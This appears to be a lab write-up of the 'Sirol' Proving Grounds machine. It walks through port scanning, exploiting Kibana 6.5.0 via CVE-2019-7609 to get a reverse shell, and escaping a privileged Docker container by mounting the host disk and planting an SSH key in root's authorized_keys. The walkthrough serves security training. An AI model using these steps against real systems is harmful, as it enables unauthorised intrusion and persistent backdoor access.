> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/proving-grounds-practice/sirol.md).

# Sirol

## nmap

```
nmap
sudo rustscan -a 192.168.225.54 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```

Kibana is running on port `5601`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkTJ2aFFpjp4E1CROR-%2F-MkTJnG3xM2E7tsFcwCk%2Fimage.png?alt=media&amp;token=81878d5a-2846-46fb-85e6-3b245ccae3cd" alt=""></div>

## Web enumeration

Looks like Kibana is running on version 6.5.0 which is vulnerable to Remote Code Execution.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkTJ2aFFpjp4E1CROR-%2F-MkTKJT7UCc9BI_bCDuO%2Fimage.png?alt=media&amp;token=f45bca92-d40f-44b9-b060-776e1ecb6922" alt=""></div>

## Exploitation

Visit <https://github.com/LandGrey/CVE-2019-7609/> and copy the python exploit to your local machine.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkTJ2aFFpjp4E1CROR-%2F-MkTKjRsOJi8AbduDnj9%2Fimage.png?alt=media&amp;token=3f716771-9703-4617-88f1-7fd4227c8e9d" alt=""></div>

Set a reverse shell listener

```
sudo nc -lvnp 80
```

Run the exploit

```
python exploit.py -u http://192.168.225.54:5601 -host <your machine's IP> -port 80 --shell
```

And you should receive a root shell inside a Docker container.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkTJ2aFFpjp4E1CROR-%2F-MkTLKTK_SZsY7gCjO2F%2Fimage.png?alt=media&amp;token=baea3255-24ab-4eba-a3c1-ab184dfb0423" alt=""></div>

## Privilege Escalation

Looks like `--privilege` flag is set since we can run `fdisk -l`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkTJ2aFFpjp4E1CROR-%2F-MkTLbNCvDRLPLXCsHjY%2Fimage.png?alt=media&amp;token=15e860cf-c214-4c28-aed4-08624bc97cf9" alt=""></div>

Let's mount `/dev/sda1`&#x20;

```
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```

Create `.ssh` folder on `/root`&#x20;

```
cd /mnt/hola/root
mkdir .ssh
cd .ssh
```

Copy your `.ssh/id_rsa.pub` and paste it to the remote machine's `.ssh/authorized_keys`

```
echo 'insert your public ssh key' > authorized_keys
```

Now you can SSH directly to the machine and escape the container.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkTJ2aFFpjp4E1CROR-%2F-MkTMl1R0ajQRhcQ1EVk%2Fimage.png?alt=media&amp;token=a09d4117-fb38-45ad-b8d9-26b278862582" alt=""></div>

Thanks for reading and enjoy the rest of your day!
